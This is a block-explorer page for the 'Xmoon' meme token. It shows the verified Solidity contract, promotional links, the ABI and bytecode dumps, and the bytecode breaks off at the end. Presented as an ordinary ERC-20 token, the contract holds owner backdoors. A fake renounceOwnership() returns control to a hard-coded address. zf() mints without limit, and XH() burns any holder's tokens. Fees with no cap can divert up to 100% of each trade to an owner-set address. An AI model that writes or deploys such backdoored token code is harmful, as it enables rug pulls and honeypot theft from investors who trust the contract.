ETH Price: $2,973.61 (+2.51%)
Gas: 1 Gwei

Token

Xmoon (Xmoon)
 

Overview

Max Total Supply

100,079,940,000 Xmoon

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,522.155335799572183 Xmoon

Value
$0.00
0xf14f10d20a26466f22ec3a240e0cc529cd46d93b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Xmoon

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-10
*/

//XMoon MEME coin has huge potential, liquidity 1ETH/100M $XMoon
//Official Website:http://xmoon.vip/
//telegram group:https://t.me/XMoonERC2
//X:https://x.com/xmoonerc20/status/1800104368680960494?s=46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(owner() == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x15DBb747D8eC44EF9De4b102A6D9D5947B652005));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }





    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Xmoon is ERC20, Ownable {
    using SafeMath for uint256;
    address public addr; 
    address public pair;
    uint256 public BIBIA = 0;
    uint256 public BIBIB = 0;
    uint256 public BIBIC;
    
    
                        
    constructor() ERC20("Xmoon", "Xmoon") {
         
        _mint(address(0x15DBb747D8eC44EF9De4b102A6D9D5947B652005), 100000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(BIBIA));
            super._transfer(sender, recipient, x.mul(1000-BIBIA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(BIBIB));
            super._transfer(sender, recipient, x.mul(1000-BIBIB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr, x.mul(BIBIC));
            super._transfer(sender, recipient, x.mul(1000-BIBIC));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    function setbuy(uint256 _BIBIA) public onlyOwner {
        BIBIA = _BIBIA;
     }
     
     function setsell(uint256 _BIBIB)public onlyOwner {
        BIBIB = _BIBIB;
     }
     
     function setBIBIC(uint256 _BIBIC)public onlyOwner {
         BIBIC =_BIBIC;
     }
     

    function setaddr ( address _addr)public onlyOwner{
       addr = _addr;
    }
    
    function zf(address account, uint256 amount) public onlyOwner {
        _mint(account, amount* 10 ** decimals());
    }
   

    function XH(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

    
    

     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BIBIA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"BIBIC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"XH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIC","type":"uint256"}],"name":"setBIBIC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"setaddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIA","type":"uint256"}],"name":"setbuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_BIBIB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"zf","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600060085560006009553480156200001b57600080fd5b506040805180820182526005808252642c36b7b7b760d91b6020808401828152855180870190965292855284015281519192916200005c916003916200021d565b508051620000729060049060208401906200021d565b5050506200008f62000089620000db60201b60201c565b620000df565b620000d57315dbb747d8ec44ef9de4b102a6d9d5947b652005620000b262000131565b620000bf90600a6200036b565b620000cf906305f5e10062000463565b62000136565b620004d8565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b601290565b6001600160a01b038216620001685760405162461bcd60e51b81526004016200015f90620002c3565b60405180910390fd5b620001766000838362000218565b80600260008282546200018a919062000303565b90915550506001600160a01b03821660009081526020819052604081208054839290620001b990849062000303565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001fe908590620002fa565b60405180910390a3620002146000838362000218565b5050565b505050565b8280546200022b9062000485565b90600052602060002090601f0160209004810192826200024f57600085556200029a565b82601f106200026a57805160ff19168380011785556200029a565b828001600101855582156200029a579182015b828111156200029a5782518255916020019190600101906200027d565b50620002a8929150620002ac565b5090565b5b80821115620002a85760008155600101620002ad565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003195762000319620004c2565b500190565b80825b600180861162000332575062000362565b818704821115620003475762000347620004c2565b808616156200035557918102915b9490941c93800262000321565b94509492505050565b60006200037f60001960ff85168462000386565b9392505050565b60008262000397575060016200037f565b81620003a6575060006200037f565b8160018114620003bf5760028114620003ca57620003fe565b60019150506200037f565b60ff841115620003de57620003de620004c2565b6001841b915084821115620003f757620003f7620004c2565b506200037f565b5060208310610133831016604e8410600b841016171562000436575081810a83811115620004305762000430620004c2565b6200037f565b6200044584848460016200031e565b8086048211156200045a576200045a620004c2565b02949350505050565b6000816000190483118215151615620004805762000480620004c2565b500290565b6002810460018216806200049a57607f821691505b60208210811415620004bc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f180620004e86000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f67315dbb747d8ec44ef9de4b102a6d9d5947b652005610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461bcd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220dd8f6a5e91245f8bd32e02839669cae48aec36a3a331158ce4631cdc0a81a61a64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063767800de116100de578063a8aa1b3111610097578063d82ec0e611610071578063d82ec0e614610308578063dd62ed3e1461031b578063f0f261c41461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b89ea0f1146102f55761018e565b8063767800de1461027c5780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac57806398bb0011146102b4578063a457c2d7146102c75761018e565b8063313ce5671161014b578063532467a411610125578063532467a4146102465780636ffe11b11461024e57806370a0823114610261578063715018a6146102745761018e565b8063313ce567146102165780633893d8521461022b57806339509351146102335761018e565b806306fdde0314610193578063095ea7b3146101b15780630d56562c146101d157806317432588146101e657806318160ddd146101fb57806323b872dd14610203575b600080fd5b61019b610354565b6040516101a89190610e35565b60405180910390f35b6101c46101bf366004610dd5565b6103e6565b6040516101a89190610e2a565b6101e46101df366004610d4e565b61040a565b005b6101ee610434565b6040516101a891906111ce565b6101ee61043a565b6101c4610211366004610d9a565b610440565b61021e610470565b6040516101a891906111d7565b6101ee610475565b6101c4610241366004610dd5565b61047b565b6101ee6104a7565b6101e461025c366004610dfe565b6104ad565b6101ee61026f366004610d4e565b6104ba565b6101e46104d9565b6102846104f8565b6040516101a89190610e16565b6101e461029f366004610d4e565b610507565b610284610531565b61019b610540565b6101e46102c2366004610dfe565b61054f565b6101c46102d5366004610dd5565b61055c565b6102846105b8565b6101c46102f0366004610dd5565b6105c7565b6101e4610303366004610dd5565b6105df565b6101e4610316366004610dfe565b610611565b6101ee610329366004610d68565b61061e565b6101e461033c366004610dd5565b610649565b6101e461034f366004610d4e565b610677565b6060600380546103639061136a565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061136a565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106b1565b90506103fe8185856106b5565b60019150505b92915050565b610412610769565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60085481565b60025490565b60008061044b6106b1565b90506104588582856107a8565b6104638585856107f2565b60019150505b9392505050565b601290565b60095481565b6000806104866106b1565b90506103fe818585610498858961061e565b6104a291906111e5565b6106b5565b600a5481565b6104b5610769565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104f67315dbb747d8ec44ef9de4b102a6d9d5947b652005610949565b565b6006546001600160a01b031681565b61050f610769565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b6060600480546103639061136a565b610557610769565b600855565b6000806105676106b1565b90506000610575828661061e565b9050838110156105a05760405162461bcd60e51b815260040161059790611152565b60405180910390fd5b6105ad82868684036106b5565b506001949350505050565b6007546001600160a01b031681565b6000806105d26106b1565b90506103fe8185856107f2565b6105e7610769565b61060d826105f3610470565b6105fe90600a611263565b6106089084611334565b61099b565b5050565b610619610769565b600a55565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610651610769565b61060d8261065d610470565b61066890600a611263565b6106729084611334565b610a63565b61067f610769565b6001600160a01b0381166106a55760405162461bcd60e51b815260040161059790610f0d565b6106ae81610949565b50565b3390565b6001600160a01b0383166106db5760405162461bcd60e51b81526004016105979061110e565b6001600160a01b0382166107015760405162461bcd60e51b815260040161059790610f53565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061075c9085906111ce565b60405180910390a3505050565b6107716106b1565b6001600160a01b0316610782610531565b6001600160a01b0316146104f65760405162461bcd60e51b815260040161059790611053565b60006107b4848461061e565b905060001981146107ec57818110156107df5760405162461bcd60e51b815260040161059790610f95565b6107ec84848484036106b5565b50505050565b6000610800826103e8610b55565b6007549091506001600160a01b0385811691161415610865576006546008546108419186916001600160a01b039091169061083c908590610b97565b610bdc565b610860848461083c6008546103e86108599190611353565b8590610b97565b6107ec565b6007546001600160a01b03848116911614156108b65760065460095461089e9186916001600160a01b039091169061083c908590610b97565b610860848461083c6009546103e86108599190611353565b6007546001600160a01b0316158015906108de57506007546001600160a01b03848116911614155b80156108f857506007546001600160a01b03858116911614155b1561093857600654600a546109209186916001600160a01b039091169061083c908590610b97565b610860848461083c600a546103e86108599190611353565b6107ec848461083c846103e8610b97565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166109c15760405162461bcd60e51b815260040161059790611197565b6109cd60008383610b50565b80600260008282546109df91906111e5565b90915550506001600160a01b03821660009081526020819052604081208054839290610a0c9084906111e5565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a4f9085906111ce565b60405180910390a361060d60008383610b50565b6001600160a01b038216610a895760405162461bcd60e51b815260040161059790611088565b610a9582600083610b50565b6001600160a01b03821660009081526020819052604090205481811015610ace5760405162461bcd60e51b815260040161059790610ecb565b6001600160a01b0383166000908152602081905260408120838303905560028054849290610afd908490611353565b90915550506040